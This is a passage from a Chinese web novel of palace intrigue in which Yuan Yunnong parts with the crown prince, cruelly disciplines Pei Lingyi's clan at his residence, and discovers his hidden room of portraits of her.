而裴令仪从一开始就是从废弃宫墙的罅隙里挣扎生长的、充满反叛的野草。 “况且,我不妨跟你说一些实话吧。”元韫浓道,“湖舟,我讨厌太后,我讨厌皇后,我也讨厌惠帝,我还讨厌齐家和白家。我讨厌他们,憎恨他们。” “可是当初你说过的,你说只要她们道歉,你会愿意揭过这一篇。”慕湖舟像是不解,又似乎有些委屈。 元韫浓摇了摇头,“如果和你在一起,就意味着我必须忍受他们,因为他们站在你这边。我需要顾忌你,连情绪都要隐蔽。” “但是清都不一样,他亲族尽灭,就算有,他也不在乎。”她道,“他喜我所喜,厌我所厌。” “你能做到吗?”元韫浓的语气那样平和。 但哪怕是这个问题,慕湖舟也无法给出答案。 于是元韫浓眸中沾染了点滴笑意与哀伤,“我不能永远活在家族和亲人的阴影底下,我总要为它做点什么。” 慕湖舟似乎有些动容,正欲开口,却见元韫浓笑了。 元韫浓笑起来眼睛像是两轮皎洁的弯月,带点烂漫的味道,“这才是众望所归啊,太子殿下。” “名门世家……众望所归……”母后说的那些话仿佛历历在目,慕湖舟捂着脸笑出了声,“哈……哈哈哈哈!” “那你要我如何呢?湖舟。”元韫浓问。 慕湖舟不能要求元韫浓什么,因为他也无法做到。 他知道元韫浓是正确的。 “元氏生我养我,予我殊荣,予我锦衣玉食。”元韫浓温和道,“我接受了它的荫庇,就不能因为它的腐朽而抛弃它。” 这是他们这些世家子女必须做的,既然接受了荫庇,就不能责怪它限制自由生长,蒙蔽双眼。 “何况它并非根系腐烂,而是被人摧折。”元韫浓道,“我要扶持它,它是我的底气和依靠,我是它的延伸与根系。” 慕湖舟惨淡一笑,“所以你就打算舍下我。” “难道你就能舍下皇权富贵,舍下你的身份吗?”元韫浓反问。 只有沉默。 元韫浓不说话了,凝视了慕湖舟片刻后,便要转身回屋。 一瞬间身后突然传来一股力道抓住了她的手腕,将她向后一拽,拽进了慕湖舟已经冰冷的怀抱之中。 “你说得对。”慕湖舟忽地笑了,“你说的都对,浓浓,到了这条线上我们不能再做出更逾越的事情了。” 他最后亲吻了元韫浓的鬓角,“我该跟你告别了,浓浓。” 元韫浓极低地应了一声:“……嗯。” “对不起,是我没有做到。”慕湖舟道,“曾经在破庙里许下的誓言,是我没有做到。” “没有关系,因为我从一开始就没有当真。”元韫浓的话语依然那样温柔又残忍。 慕湖舟苦笑:“那我只能求破庙里许下的来生了。” 北凉于京城生乱之时,他和元韫浓在落魄之际,于破庙中许过愿。 他说要为元韫浓,为元氏谋来日,元韫浓却只是笑了笑。 而后他便说,那便许来生吧。 他便许愿了来生,若今生不能,来生他来为元韫浓谋来日。 现在,他只能求那个愿望能够成真。 满天神佛能够怜他,叫来生可以不入帝王家,可以得偿所愿,能够无所顾忌地和元韫浓在一起。 “望来生,你我还能遇见吧。”慕湖舟道。 元韫浓温和且平静地注视着他,“会的。” “我们还是亲人,我还是会为你而筹谋。”慕湖舟低眸笑了笑。 他似乎变回了那个处事周全的太子,体面得不行,“今日是我莽撞,就这么找上门来。东宫还有政务尚未处理,我便先回去了。” 他犹豫了一下,还是最后叮嘱道:“外面风雪大,快些回去吧,别着了凉。” 慕湖舟转过身便要离开。 走出几步,听到身后元韫浓喊了他名字:“湖舟。” 慕湖舟停住了脚步,没敢回头。 他只听到元韫浓轻声道:“望好。” 像是就这么告别,慕湖舟僵硬地稍稍颔首,继续迈步向前。 元韫浓无声地望着慕湖舟的背影。 “阿姊已经站在了我这边,却还要在慕湖舟那里留一手吗?”裴令仪的声音从身后缓缓传来。 元韫浓没有回头,依然注视着慕湖舟离开的背影。 她平静地说:“如果哪一天你万劫不复,我总要为自己和元氏留有后路。” “看来阿姊并没有那么信任我。”裴令仪道。 “我现在没心情听你废话。”元韫浓转过身,注视着裴令仪,“如果你不高兴,那你最好做到永远不要从云端跌落下来。” 裴令仪眨了一下眼睛,“阿姊见证过我最低谷的时候,却只在意我会不会爬起来。如今却担心我坠落云端吗?” 元韫浓笑了一下,“不然呢?” “如果我掉下去了,阿姊会怎么做?”裴令仪问。 “那我会向舍下慕湖舟一样,抛下你。”元韫浓平静地说出事实。 而后她略过裴令仪,从入屋内。 霜降匆忙收起伞,抖落伞上的积雪,向裴令仪欠身之后,跟上元韫浓的步伐。 裴令仪凝视着元韫浓的背影,直到再看不见。 前世的他或许被慕水妃高洁的灵魂所吸引了目光,也因此发现他在意元韫浓的原因,从不是元韫浓的恶劣与美丽。 他爱的并不仅仅是元韫浓妍丽的外表,他爱元韫浓的娇纵蛮横,爱元韫浓的高傲无理。 他甚至爱元韫浓向 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其实裴令仪回京之后,私下来过东宫一趟。 裴令仪闯进东宫的时候,靴底沾的雪泥里混着浅淡的胭脂红,像是刚踩过谁的血泊。 东宫守卫都警惕地持刀以对这个不速之客,可裴令仪却浑然不觉般稳步前进。 守卫们不敢妄动,紧绷着一步步后退。 “你来做什么?”慕湖舟问他。 裴令仪平静道:“我来问问太子,齐家替陛下将阿姊的药方透露给北凉人的事情,你知不知情?” “你说什么?”慕湖舟皱眉,“这是什么时候的事情?” “很好,你不知道。”裴令仪紧盯着慕湖舟的眼睛,没有错漏任何一丝一毫的表情。 他勾起唇角,“那么我来告诉你,是你在靖州救灾的时候。” “这不可能,父皇不可能那么做,他可是浓浓的亲舅舅……”慕湖舟摇了摇头,语气却迟疑了。 如果不是确有此事,裴令仪何必大动干戈,刚回京就以耽误军机为由,带着圣旨闯入齐家,抓了好几人呢? “亲舅舅?”裴令仪像是听到了什么好笑的事情一样笑了起来。 他幽幽道:“阿姊可不止是惠贞长公主的女儿,也是岐国公的女儿,世家的女儿。” “他应该很恨阿姊吧?毕竟阿姊夺走了他的阿姊,叫惠贞长公主不再只有他一个亲人。阿姊说了,他在阿姊小时候可是还行掐死阿姊呢。”裴令仪冷声说。 慕湖舟有些恍惚,“……这怎么可能?” “可怜。”裴令仪看着慕湖舟,停顿了片刻,“我本以为你是多有力的对手,如今看来,还不如沈川。” “你是来上门宣战的吗?”慕湖舟问。 “你这么想吗?真有意思。”裴令仪笑了笑,“我知道你跟阿姊曾经在那个破庙一同许过愿,我不妨告诉你,阿姊不信那些泥胎木偶。” 他轻嗤一声:“泥菩萨过江自身难保,还能真许诺你来生吗?” 语罢,他半点留恋也没有,直接转身离开。 裴令仪或许说得对。 慕湖舟凝视着蒙尘的佛像许久。 他拔出腰间的短刀,用锋利的刀尖在掌心一笔一划地划出“浓”字血痕。 血滴答滴答坠落在地上,慕湖舟放下刀,祈愿道:“就让我将此带到轮回路上吧,来世再见。” 直到日暮时分,慕湖舟踩着积雪走出破旧的庙门,回头看了一眼满殿陈年的灰,在微光下飘荡。 他转身上了马车,风雪淹没车辙,帘子在朔风中翻飞,马蹄声惊起栖息的寒鸦。 慕湖舟缓缓地闭上了眼睛。 多少次他穿梭过岐国公府的长廊,尽头总会有那人在等他。 庭院深深深几许,琼花般的少女含笑独自下棋。 元四正独坐于廊下,烹茶煮雨,仰起脸展颜一笑。 到此为止。 掌心的痛感依然存在,慕湖舟还是再回头,看了一眼破败的庙宇。 因为慕小三和元小四,在这里求过来生。 第77章 至亲至疏夫妻 裴令仪杀敌如砍瓜,犹如屠夫,回了朝也丝毫没留情面。 他是言出即令行之人,说要谁死,谁就一定会死。 无论是在沙场上的表现,还是朝中的表现,都震惊了朝野上下,没人会想到当年的那个可怜儿能到这个位置。 当然就连元韫浓也会想。 这一世裴令仪可谓是一路顺畅了,也走得如此艰难。 那么在前世一无所有的时候,连她也没有向裴令仪伸出援手的时候,裴令仪在背后流下了多少血与泪。 毕竟在前世裴令仪骑上舞阳儿逃离京华那会,可以说全凭她一刹那的动容。 若非如此,他无论能不能逃走,在那一关都会折损不少。 裴令仪如此风光的后果就是,无数媒人和前来示好的人都快要踏破了岐国公府的门槛。 岐国公府本就是门庭若市,如今更是热闹不已。 连带着元韫浓也收到了不少礼,不少人在裴令仪那求告无门,便转而求到了元韫浓这里。 毕竟谁都知道元韫浓原先就跟裴令仪关系很好,如今更是裴令仪的未婚人。 元韫浓来者不拒地收下了礼物,然后一股脑地把事情全部推给了裴令仪。 裴令仪却像是对此乐此不疲。 这样自然会招惹一些不必要的目光,还会惹起惠帝的猜疑。 于是这一回边境异动,徐氏发来请求惠帝派兵支援的奏折时,惠帝根本没考虑叫裴令仪去,而是派上了元家。 甚至出动了岐国公、元彻回和元蕴英三人。 钦天监给的几个黄道吉日里,元韫浓选了最靠后的日子,得待到明年。 如今家里人一出征,不知何时才能回来,元韫浓便再叫人往后推。 惠帝此回不用裴令仪,就只能从白家和元家里头选。 太后压着惠帝不去选白家,又选了元家,还是老少三个都上,元韫浓总觉得太后是想做什么。 岐国公也敏锐地嗅到了一丝不对劲。 未雨绸缪,他在临行前也安排好了一切。 “云和留在白云观中,倒是不担心。公主可以以为南朝祈福的名义进宫住,在陛下身边总不至于会受到什么牵连。”岐国公道,“应怜……” 裴令仪微笑,“国公若实在放心不下,在凯旋前这段时日里,不妨允阿姊随我去清河王府小住。” 这倒的确是个不错的提议。 至少元韫浓在清河王府有退路,万一元氏出了什么事,还能用已经和裴令仪订婚的名义逃过一劫。 岐国公犹豫片刻,便答应了。 毕竟这已经算是极好的选择了,裴令仪如今也算是半个元家的人了。 宫宴回来那晚,裴令仪开诚布公的深谈,拿出了十足十的诚意。 “人心难测,尤其是婚姻大事。”岐国公叹息,“此世间唯一不变的,便是世间一直在变。” 这也是他当初为什么给元韫浓选的退路是沈川的原因,因为无论沈川爱不爱元韫浓,或者说以后爱不爱元韫浓,都不会亏待元韫浓。 因为沈川本身就是一个很好的人。 他不能让女儿踩在易变的人心和虚妄的爱意上,而裴令仪拿出来的却正是这些。 这才是岐国公一直担心的地方。 像裴令仪这样出身和经历的孩子,总会更加偏执和阴冷,和寻常孩子都不一样。 现在裴令仪爱元韫浓,那以后不爱了呢? 只是他现在没得选,“我们此行不知是福是祸,后方与应怜便只能托付与你。无论我们元氏来日如何,无论来日你是否还爱应怜,我们做父母的只希望你能护住她。” 裴令仪默了默,“国公还请放心,我待阿姊是真心的。” “好。”岐国公点了点头,似乎只能说出这么一个字来,“好。” 他们元家的人似乎都不擅长说真心话。 在岐国公拎起头盔,推门而出前,裴令仪问:“我还有一事想问国公,国公待惠贞长公主,是否真心?” “多年夫妻,怎么可能没有片点真心……是我这个驸马做得不称职。”岐国公停顿了片刻,苦笑一声。 不说真心话,不说爱也不说恨,好像相敬如宾又好像陌生疏离,似乎从未在一起也从未分离。 是盟友也是君臣,是夫妻是陌生人。 隔了第一个死去的孩子,隔了君臣,隔了亡妻,隔了误会和太多。 从来没有明说什么,他们只是默认放下过去。 岐国公道:“待这回凯旋而归,若是真能得胜,好好怜伊。我会将一切都会道明,把一切都说清楚。” 真真正正地抛开君臣身份,做回夫妻。 “你和应怜,切莫步了这样的后尘,至亲至疏夫妻。”岐国公道。 “不会的。”裴令仪道,“那便祝国公和世子二娘,得胜归来。” 岐国公略一颔首,走了出去。 裴令仪垂着眼睛,又低声重复了一遍:“不会重蹈覆辙的。” 毕竟到了前世的后来,他和元韫浓也的确如此。 世人口中恩爱两不疑的二圣,实际上疏离又爱恨难全的帝后。 至高至明日月,至亲至疏夫妻。 元家出征之后,元韫浓就被裴令仪三催五请,请到了清河王府。 元韫浓要住正屋,裴令仪就让出正屋。 偶尔来了兴致要旁听裴令仪和底下僚属论政,裴令仪便在她的椅子上加了软垫。 因为是在清河王府,没有了出入的限制,元韫浓更加频繁地见到了那些裴雍旁系和旧部。 那些视线试探性的,又或者不屑的、轻蔑的,毫无忌惮地,纷纷朝她而来。 琼花已经开了。 气氛偏高洁,尘氛敢混淆。盈盈珠蕊簇,袅袅玉枝交。 天巧无双朵,风香破久苞。爱看归尚早,新月隐花梢。 元韫浓站在琼花下,握着把珊瑚纹合欢扇,倚在栏杆边懒倦地望着某处,似乎是在想着什么。 往来进出的门客与僚属,都会不禁往这里瞥上一眼。 那些窃语或是不经意有又或是刻意,总会让元韫浓听见。 “那位是谁?不是说殿下不爱美人爱江山吗?送去的美人都被打发回去了。” “那是朝荣郡主,殿下的义姐,如今的未婚妻。” “嘶——慕南的宗亲啊……” “那怎么了?碍不着殿下喜欢啊,盯得跟眼珠子似的,什么好东西都往她院里堆了,就连王府的主屋都让出来了。” “什么?成何体统!再怎么喜欢,也就是一个女人而已。” “害,年少时救过命的白月光嘛,又是青梅竹马长大的美人,怜惜点也正常。男人嘛都那样的,等到时间长了就腻了,何必如此在意呢?” “说来也是,毕竟我们殿下从小就那样,可怜兮兮的,如今发达了,也没怎么享受过娇妻美妾环绕的齐人之福啊哈哈哈。” “嘘,小声些,郡主身边那个丫鬟看过来了。” “不就是个丫鬟吗?担心什么?就算是郡主又如何,也不见得殿下会为了个后院的女人而迁怒于前堂的僚属。” 老实说,这些天里,这些人的目光已经让元韫浓厌烦至极。 元韫浓忍到现在,都已经算是仁慈了。 于是这回再听到这样的话语,元韫浓面无表情道:“小满,把刚刚嚼舌根的那两个给我提过来。” “是。”小满立刻冲出去。 暮春细雨裹着琼花瓣扑在窗棂上,元韫浓漫不经心拨弄鎏金香球。 外头两个嚼舌根的就被小满压着跪在雨里,嘴里还嚎叫着什么,“我们是裴七叔的人!你不能动我们!” “裴七叔?”元韫浓轻笑出声,“哪个犄角旮旯里冒出来的亲戚?没听过,怕是来打秋风的吧。” 她慢悠悠地走下去,霜降为她打着伞。 元韫浓用珊瑚纹合欢扇挑起其中一人的下巴,“我记得你,你在这之前是张开华的门客。” 看来这个裴七叔也确实拎不清了,张开华跟她和裴令仪隔着死仇,张开华曾经的门客也敢用? “你在张开华那不是低眉顺眼的吗?”元韫浓扬眉,“怎么?如今换了主子,连规矩都忘了?” “郡主真是好大的官威。”那人突然冷笑,“您怕是贵人多忘事,如今这个王府姓裴,不姓元 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元韫浓反手将合欢扇砸向他面门。 裴令仪不躲不避,任由扇骨在颧骨砸出了一道红痕。 旁边的亲卫见元韫浓居然如此对裴令仪撒气,皆有不满。 “阿姊别气坏了自己。”裴令仪柔声道。 “殿下!殿下!这妖女要杖毙我等啊!”那两个人顿时挣扎着嘶吼起来。 元韫浓冷淡地注视着这一幕,没有反应。 “阿姊说得还不够明白吗?”裴令仪转头看向身后的亲卫。 亲卫们立即将两人拖了出去。 细雨转急,元韫浓道:“清都,你养的狗越来越不懂事了。” “名册已经送来了,阿姊挑顺眼的来杀,不必顾忌什么。”裴令仪笑了笑,“还是说阿姊不想管,我来处理?” 裴令仪无视身后二人的哀嚎和求饶,跟随元韫浓进了门。 “我们日理万机的清河王怎么来了?”元韫浓倚回软榻时挑眉。 “我是来问阿姊一会的议事愿不愿意来。”裴令仪故作落寞,“一会裴氏剩下的族老和旁支们都会来。” 他一副柔弱的模样,似乎难以应付一群豺狼虎豹的亲戚。 元韫浓斜睨他一眼,“怎么?你对付不来他们了?” “嗯。”裴令仪温顺地低下头,“我一个人不可以。” 元韫浓轻嗤一声,明知道裴令仪是演的,不齿于他这为了博同情什么都说的姿态,但还是点了头。 裴令仪唇边的笑意更深,“好,到了时候我差人来请阿姊。” 等到裴令仪差人来请了,元韫浓正在吃茶点。 人来请了她也不急,不紧不慢地吃完了那一盅木瓜雪蛤才动身。 元韫浓姗姗来迟,吸引了议事厅一众人的视线。 他们似乎对元韫浓的迟到和轻慢感到相当不满,他们本就不高兴元韫浓参与进来。 毕竟元韫浓的母亲是长公主,父亲又是保皇派,她身上流着南慕的血脉,怎么看都不是自己人。 裴令仪看见元韫浓来,就起身相迎。 这叫底下人都不得不憋着一股气,也起身低头,“郡主。” 元韫浓对这些不满的视线视若无睹,旁若无人地上去坐在了裴令仪身边的主座上。 她发觉好几个位置上都没有人,顿觉不悦。 什么人架子比她还大,敢在她和裴令仪之后到? “是谁这会还没来?”元韫浓问。 裴令仪觉察到她的不悦,含笑在桌底下握住了她的手,安抚般轻轻摩挲了几下。 元韫浓瞪了他一眼,还笑得出来? 那几个旁支都快要骑到他头上去了。 裴令仪却好像更高兴了。 孙鹃纨早就看那些人不顺眼已久,但是裴令仪不发作,她也不好越俎代庖。 如今见元韫浓为此不悦了,立即积极道:“都是姓裴的。” “哦,是那几个倚老卖老的老东西啊。”元韫浓轻嗤一声。 孙鹃纨相当赞同:“就是他们。” 第78章 金屋藏娇 见形势不利,元韫浓不悦之色愈显,便有人站出来了。 立即有人道:“几位族老是另有要事,这才来得迟了些。” 孙鹃纨对这个人的帮衬感到不满,定睛看过去,原来是裴氏旁支的小辈。 她冷笑:“殿下和郡主还没说话,轮得到你说话吗?” 这群人仗着自己占了个裴姓就坐享其成,半点忙没帮,没点力没出,等到裴令仪如今辉煌了,就上赶着来收割果实了。 不但如此,看到他们这些实打实出力的僚属亲卫,还眼高于顶,呼来喝去,他们又不是这群人的家生奴。 “你!”那人气急,但碍于裴令仪和元韫浓在场,也不好发作。 元韫浓踢了一脚裴令仪的腿,在他精细的素纨外袍上留下半枚鞋印。 在场的僚属族亲,亲兵心腹,还有府内以内官们,都有了隐约的怒容。 也有人目瞪口呆,或惴惴不安怕裴令仪迁怒,亦或者等着幸灾乐祸。 元韫浓不高兴地说道:“让他们滚过来,他们以为自己是谁?让那么多人等他。” 数双隐秘窥视的眼睛,默默等待裴令仪接下来的反应,以此揣测朝荣郡主在清河王心目中的位置。 但裴令仪也没生气,反而有些无奈,“我知道了。” 几个来迟的几乎都是被赶过来的,刚进门还没摆架子,就被元韫浓质问:“来那么晚,是因为路上碰着鬼了吗?” “我让你们三更来,你们就不能磨蹭到五更。”元韫浓似笑非笑,“毕竟我的这点时候比你们加起来一辈子都宝贵。” 那几人只能咬着牙应声,皮笑肉不笑。 “殿下,并非是我等迂腐,而是祖训在那里摆着呢。”最年迈的族老手里鸠杖重重顿地,“宗亲议事,妇人当避。” 裴七叔点头称是:“先前殿下几番纵容郡主参与议事,就过往不究了。可是这以后,可不容如此了。” “好啊。”元韫浓姿态坦然,“那就请诸位就地自尽吧。” 满堂哗然。 族老们怒不可遏,“口出狂言!” 元韫浓嗤笑:“怎么就口出狂言了?你不是被妇人生出来的,从石头缝里蹦出来的?” “你把那祖训拿来给我瞧瞧,若是真的,那先祖算得上什么先祖?先祖的母亲若是知道了这等事,不得后悔生出了这么个倒霉玩意儿来?生下的血肉反倒是成了刺向自己的尖刀,那还不如生个馒头呢。”元韫浓尖锐道。 “不知所谓!”裴七叔站了出来,“郡主既然如此不敬裴氏先祖,那又何必定下与殿下的婚约?” 元韫浓慢条斯理地道:“是我想要嫁到你们家吗?搞清楚,是你们家殿下乞哀告怜,求着我嫁给他。” 裴令仪配合地替元韫浓倒了一杯茶水,双手举杯齐眉,恭敬地递到元韫浓手边,“阿姊消消气,喝杯茶吧。” 元韫浓没理他,而是对族老们道:“瞧见了吗?求来婚约的不是我,下旨的也不是我。你若是如此不满意,不妨去陛下面前退婚吧。” “你!”裴七叔气急,脚却一动不动。 “去啊,怎么不去了?”元韫浓似笑非笑,“哦——不敢啊。也合理,你自然不敢。” 无视族老惊怒的脸,元韫浓道:“毕竟清都在宫中被囚时,也不见得你们提及血脉亲情。清都上阵杀敌挣军功时,也没见到你们相随左右。” 裴七叔压着怒气,“令仪到底是裴家人,也该提携族中子弟,为我裴雍大业……” “谁准你叫他令仪的?”元韫浓面无表情道,“他是异姓亲王,你一介白身,算什么东西?” 裴七叔猛然止住了声。 元韫浓冷笑,“当年你们纵容旁人欺他孤弱伶仃,如今倒是知道他是裴家人了?” 无人敢回答。 “这孩子……就是昨日里强占的城南那座绸缎庄的那个是吧?呵,还强抢民女。”元韫浓指了指裴七叔身后的那个小辈,“用的还是清都的旗号?” 她接过了裴令仪举了半天的参茶,“把这孽障拖去庭院。” 裴九相当积极,几个亲卫立刻提着人往外走。 裴七叔暴起正欲冲过来,就听主座传来瓷器碎裂声。 裴令仪摔了茶盏,碎瓷飞溅。 他笑意森然,“原来几位叔公还是会护人的,那当年孤饿得啃树皮,被那些人当狗一样耍的时候,怎么见不着几位叔公呢?” 他落魄时那些人用铁链拴着他,把他当成狗耍,所以他理所当然地恨所有人。 四海八荒,无人不恨,无人不怨。 元韫浓是他在这样厌苦的寰中,最爱之人。 他无声地望向元韫浓,眸光粼粼。 只是他,爱也分不清,恨也分不清。 还好苍天怜他,再许他一世,许他应怜。 听了裴令仪这番话,裴七叔一时申辩不能。 裴令仪眼底的片点暖光被阴鸷冲散,“若是叔公们教不会子侄何为忠孝仁义,要孤代劳,那就别插手。若是叔公自己也不懂忠义,是否要和子侄共苦?” 族老们都被他这副模样震住了,一时不再有反应。 元韫浓倚着主座抿了口参茶,“既然你们说为裴雍大业,好啊,那便按大雍律。强占民产,强抢民女该受什么刑?” 刑曹主事捧着律典出列,“强占民产,鞭八十,徒三千里。强抢民女,宫刑,流三千里。” “太轻。”元韫浓用杯盖拨开浮沫,“我可是听说了,那名女子如今已经**。” “如此,罪当诛。”刑曹主事自然道。 他是跟随裴令仪从北州战场回来的属官,和孙鹃纨一众一样,苦裴氏族亲已久。 元韫浓抬眼轻笑,“该少的一样少不了,杖一百,宫刑弃市。” 族老们瞬间面如死灰。 亲卫已然拎起惨叫的少年往外拖,裴七叔扑上来求饶,被孙鹃纨不动声色地用靴子踩住了袍角。 少年被拖到庭中长凳上,刑官举起刑杖,破空声混着惨叫响起。 “急什么?”元韫浓笑了笑,示意霜降展开泛黄账册。 “这些年里,清都不在清河王府,这里缺少看管,你们就肆无忌惮了吗?不问自取了多少,又亏空了多少?”元韫浓染着蔻丹的指甲划过一行行惊人的数字,“够买你们三百回杖刑了。” “去把裴氏各支这些年吞的田产地契清点清楚。”她忽然将账册砸向一旁从旁支出来的几个属官。 那几个新上属官因着是旁系出来的,态度向来不明,被这一场杀鸡儆猴下来,早就吓破了胆。 一见轮到了他们,立刻连连应是。 “你们少一文钱,身上就少一根手指头。”元韫浓微笑,“听明白了吗?” “明白了明白了!”他们点头如捣蒜。 “我这个人呢,向来是心软良善的。”元韫浓柔声细语道,“就算是你们犯下如此大错,我也愿意给你们一个洗心革面的机会。” “午时三刻前,我要看到裴氏各房送来五千石粮和三千金,送粮草财帛去边境驰援我父兄家姐。”她道,“少一斗,就挑一人割肉放血补上,补全为止。” 说完,她象征性地问了裴令仪一句:“你可有什么意见?” “阿姊决定便好。”裴令仪柔和地笑了笑。 元韫浓点了点头,“你们殿下仁善,准你们子侄情深。” 她转头对刑曹主事道:“再加条规矩,往后裴氏子孙受刑,长辈需在旁诵家训百遍。” “孙副将,一会把裴氏家训里全部的糟粕都改了,把该加的全加上。”元韫浓又对孙鹃纨说。 孙鹃纨跃跃欲试,“是,保证会令郡主满意的。” 她保证里头条条道道都是唯元韫浓是从。 裴七叔当场昏厥,元韫浓面不改色道:“昏了的用冰水泼醒,叫他们跪在那念,诵不完就把家训刻在他们儿孙脊梁上。” 裴氏族老们被迫跪在阶前,抖如筛糠。 方才还是要脸面的,但是元韫浓如此铁血手腕,裴令仪又一副听凭元韫浓做主的没出息模样。 比起脸面,还是命重要点。 外头惨叫声连连,里头的人噤若寒蝉,生怕下一个就是自己。 裴令仪却栽进元韫浓怀里,贴着那截雪颈呢喃:“阿姊……” “起开。”元韫浓推开他, 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裴令仪微笑,“让阿姊不高兴的人,都不该活在这世上。” 元韫浓弯起唇角,“那便静候佳音了。” 毕竟混乱是权力的阶梯。 等到再乱一些,就是可以拉开序幕的时候了。 “等到那时候,阿姊直接做皇后好不好?”裴令仪小心翼翼地问道。 元韫浓瞥他一眼,“要我做皇后,就得给我等同于你的权力。” “好。”裴令仪点头。他答应得顺畅又自然,仿佛本就是该如此,生怕元韫浓反悔一样。 快到元韫浓都多看了他两眼。 或许是因为沉下来了,没有那么多事情了,元韫浓愈发觉察到裴令仪不同的地方。 而这些古怪的地方,先前都被元韫浓以军中成长得太快这样的借口揭过去。 可是越到现在,她觉得裴令仪此番回来真是变了很多,可又好像什么都没变。 陌生到熟悉。 就例如说先前裴令仪会耍小心机留她跟自己在同一个营帐里,但同床共枕时照旧会羞涩。 那时候裴令仪的耳垂犹如蘸了冰糖的山楂般透着艳红,眼睛里烁着半迷蒙的光,也像是挂了糖浆似的亮泽,黏糊得很。 只要一和她对视,就像是被烫着般下意识躲闪开来。 可现在,裴令仪一切亲近的动作都十分自然,就像是曾经亲近过无数次,以至于举止无意之间就会失去分寸。 元韫浓不在意这样的失格,但却会心生警惕。 这是为什么? 裴令仪在询问她意见时会轻轻晃一晃她的手,在向她撒娇时也会晃一晃手,在安抚她时也会晃一晃手,就算是在慕湖舟面前生气吃醋了,也会晃一晃她的手。 这样的动作太像是前世了。 “阿姊一直看着我。”裴令仪觉察了元韫浓的目光,偏头看过来,笑了笑。 元韫浓嗯了一声:“我不要皇后住的那个凤仪宫。” “我为阿姊重新建一座。”裴令仪便笑道,“金银为屋,文石为础。” 就像从前那样的,以金银叠为屋壁,上以红泥泥之。以沉檀为轩槛,以碱硅餐地面,以锦文石为柱础。 金屋藏娇。 原说元家行坐处,红粉泥壁,文柏帖柱,琉璃、沉香为饰。 要是元韫浓做了皇后,必然这些都不能差。 裴令仪凝视着元韫浓静谧的宛若琼花般的眉眼,又有片刻失神。 这算是叫他有了可以破镜重圆的机会吗? 只要瞒住元韫浓,就可以继续下去。 “这会是你盯着我看。”元韫浓说道。 裴令仪回过神,笑道:“阿姊风华绝代,我才看痴了。” “净会信口胡诌来哄我开心。”元韫浓哼笑一声。 “阿姊这都不信我,才叫人伤心。”裴令仪摇了摇头,“我听底下人说阿姊晚膳没用多少,我叫人去近水楼台买了鲜鲫芹菜羹,一会送去。” 裴令仪在这些小地方从来用心。 元韫浓复杂地又看了一眼裴令仪,终归没说什么。 第79章 永夜无间 经过议事厅元韫浓一系列的杀鸡儆猴举措之后,短期之内也没有人胆敢再生事了,尤其是裴氏的族亲。 毕竟元韫浓太吓人,上来就是杖杀和宫刑弃市。 上上下下,但凡是见了元韫浓,全都低眉顺眼,相当恭敬。 毕竟他们也是见识过了,这位发起疯来远比裴令仪暴戾。 裴令仪也是不会管这位做什么的。 所以哪怕是元韫浓要进裴令仪书房,也没人敢怠慢,外头的小鬟立即引着元韫浓去禀报。 小鬟目不斜视,沿着长廊缓行,直至到了书房门前,垂首敛衽。 元韫浓看她似乎是很害怕裴令仪,后颈都沁出了一层薄汗,动作都乱了分寸。 她先去叩门,下一刻门就开了。 “哐当”一声,青花瓷的茶杯碎在小鬟脚边,吓得她扑通跪了下去,“王爷饶命!” “进孤书房,为何不报?”裴令仪冰冷的声音传来。 “奴婢知错!”小鬟连连告罪。 “你……阿姊?”裴令仪微微一怔,看到了外头的元韫浓。 他顺手反扣上书桌上的纸,连忙走了出来,“我原以为阿姊会晚些再到,可有伤着?” “无碍。”元韫浓摇头。 她注意到裴令仪一出来,里面的裴九就像是怕她发现什么似的,合上了门。 她疑惑地又看了一眼。 下一刻裴令仪就到了她面前,挡住了她的视线。 裴令仪笑道:“是我的错,吓坏了阿姊。” 这下元韫浓更确定书房里有什么了。 裴令仪瞥了一眼跪在旁边的丫鬟,“下去。” “是,多谢王爷,多谢郡主!”小鬟连忙告退。 元韫浓道:“你吓她做什么?” “书房重地,以防不测,这才谨慎些。”裴令仪回答。 “这么说我也是你防的人了?”元韫浓问。 “阿姊怎么能那么讲?”裴令仪说,“阿姊是自己人。” 元韫浓指了指他身上关上的门,“那怎么防我跟防贼似的?” 裴令仪笑容不变,“阿姊可真是说笑了,整个清河王府,阿姊都可以出入如无人之境。” 话是那么说,但是丝毫没有想要让开的意思。 好啊,你等着。元韫浓微笑着点了点头。 笃定了裴令仪是在骗她,有什么事情瞒着她之后,元韫浓不考虑从裴令仪那里知道这回事情了,直接自己想办法。 半夜趁着裴令仪在议事,元韫浓踏上了书房前的青石阶。 书房重地,守备森严。守卫的刀鞘交错成网,寒光映着元韫浓苍白的面容。 “让开。”元韫浓径直往前,刀刃险些割破她的喉咙。 这一下吓得守卫连忙后退,惊得众人齐齐收势。 “郡主恕罪!”侍卫的刀尖在发抖,“殿下有令,任何人不得……” “怎么,你们就认得裴令仪这个主子,不认得我这个主子?”元韫浓冷笑。 他们一时失言,他们的思想里,确实如此。 元韫浓气笑了,“我今日便是活剐了你们,也不过是碾死几只不认主的狗。” “郡主息怒!”为首的守卫突然跪地,“殿下正在议事,不如等……” 元韫浓一脚踹在他肩甲上,“滚一边去,看来那些族亲的下场是没教会你们到底该忠于谁了!” 其余人见状慌忙撤刀,却见元韫浓捂着嘴突然剧烈咳嗽起来。 她跨过门槛,回眸冷笑:“你们倒是比御史台那些硬骨头更识趣些。” 一推开书房的门,走入内室,元韫浓就被眼前的一幕所震惊。 暗香浮动,满墙画像在烛火中忽明忽暗。 书房内室挂满了无数的画卷,画上无一例外都是她自己。 从旧到新,从她豆蔻年华到如今,一张张,一幕幕。 冷笑着挡在裴令仪身前的她,在琼花树下戴着百花冠微笑的她,枕在石头上拿着书卷睡着的她,甚至是生气恼火扇裴令仪巴掌的她。 元韫浓凝视着眼前的这一幕,犹如无数面镜子映照出曾经与现在的自己一样,同样凝视着自己。 而摆放在书桌上墨迹崭新的那一幅画,就连衣裳都跟元韫浓此时此刻身上穿着的一样。 这就是裴令仪瞒着她的事情? 元韫浓眸光颤动。 深夜的凉意这才无知无觉地弥漫开。 而身后传来极轻的幽幽叹息:“还真是什么都瞒不过阿姊。” 元韫浓蓦然回首,裴令仪就站在身后。 撞进那双幽潭似的乌黑眼睛,裴令仪不知已经在阴影里立了多久,几乎与夜色相融,苍白的脸庞像浸在井水里的冷玉。 阴郁的、薄凉的、落寞的……像是一片苍白的影子,浮在这世上的幽魂。 “阿姊穿得太少了,会着凉的。”裴令仪不像是被元韫浓发现了这些画,被抓包一样感到窘迫。 恰恰相反,裴令仪像是无事发生一般平静。 他去关拢了书房的窗,隔绝了外头的晚风。 